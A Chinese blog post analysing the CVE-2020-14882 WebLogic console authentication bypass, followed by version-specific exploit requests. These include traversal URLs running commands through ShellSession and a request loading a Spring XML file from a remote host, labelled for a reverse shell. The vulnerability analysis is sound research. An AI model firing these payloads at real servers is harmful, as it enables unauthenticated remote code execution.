前言
前段时间爆出了cve-2020-14882的weblogic越权漏洞,本文对该漏洞进行分析并给出不同版本适用的payload。
实验环境:weblogic 10.3.6.0.0、weblogic 12.3.1.0.0、weblogic 12.2.1.3.0、weblogic 12.2.1.4.0、weblogic 14.1.1.0.0,IDEA
代码分析
权限绕过
首先发送payload:
1 | /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); |
然后下断点定位到weblogic的权限验证代码,weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
跟入context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)
继续跟入this.checkAccess
这里有两个关键的地方,一个是第一个箭头打的地方,此处语义为checkAllResouces是否为真,为真则全部的资源都需要校验访问权限,为假则调用this.getContraint(request)获取需要校验权限的资源。checkAllResouces默认为假,参考宽字节安全公众号的说法,weblogic考虑到某些老版本浏览器不支持在访问一些静态资源时附带cookie,所以在访问静态资源时,weblogic不会校验权限。
现在我们得到了一个resouceConstraint,表示了一个资源约束的类,其中包含了我们当前访问的url是否需要校验。
接下来看第二个箭头标注的地方,自处以resouceConstraint为参数,判断当前的request请求是否能通过认证。跟入查看代码。
调用了this.checkAccess,参数中还增加了当前用户的session用来做权限判断,接下来跟入this.checkAcess。
subject是一个包含了关于当前用户的相关信息的一些类。
跟着逻辑一直走就会调用到checkUserPerm方法,跟入方法查看代码。
最后调用到hasPermission方法判断当前的请求是否有权限。跟入查看。
最终由于cons.isUnrestricted为真,所以hasPermission方法返回真,通过权限校验。也就是说我们的恶意payload:/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); 已经通过了校验,以未登录的用户身份也可以执行了。这里关键点就在于cons.isUnrestricted为真,cons就是之前的resouceConstraint。
也就是代表,我们当前访问的url是无限制的,所以不需要认证就可以访问。要知道怎么构造代码才能得到这种效果,还需要回到之前的this.getContraint(request)。下面查看this.getContraint(request)的代码。
继续跟入
跟入箭头处
跟入this.getExactOrPathMatch
可以看到打红点的那一段开始在matchMap中匹配前缀。
然后再看箭头位置,调用了StandardURLMapping的match方法来匹配前缀,将返回值保存到value中。
可以看到该方法就是调用了this.patternValue,也就是一个ResouceConstraint类的实例。
可以看到这里的unrestricted属性为true。回过头来看这个方法名,getExactOrPathMatch,直译就是找到路径中的例外,这些例外在访问时都是不需要认证的。
从上图也可以证明这一点,this.matchMap中的entry其getValue.unrestricted都是true的。了解了这一点后,我可以把payload改成下面这样,也是可以的。
1 | /console/bea-helpsets/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); |
二次解码
到此处为止,权限验证如何绕过我们已经了解了。想要直接访问到/console/console.portal,我们观察payload还发现这里使用了url二次编码。因此,weblogic必然进行了一次二次解码,并且第二次解码过程是发生在校验完了权限之后的。
二次编码前
二次编码后,所以路径穿越之后直接访问到了/console/console.portal。
利用:
配合console.portal未授权命令执行
10.3.6、12.1.3.0
1 | GET /console/bea-helpsets/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://xxx.xxx.xxx.xxx/weblogic.xml") HTTP/1.1 |
weblogic.xml
1 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> |
linux反弹shell
1 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> |
12.2.1.3、12.2.1.4和14.1.1.0.0
1 | GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1 |
com.tangosol.coherence.mvel2.sh这个类在12.x版本后的weblogic存在,10.3.6中不存在。不过在12.1.3中该类的jar应该未被默认加载,在实际调用是找不到该类。所以在12.1.3还用10.3.6的payload,该payload需要出网。
直接写SHELL(未测试)
http://t.zoukankan.com/liliyuanshangcao-p-13962160.html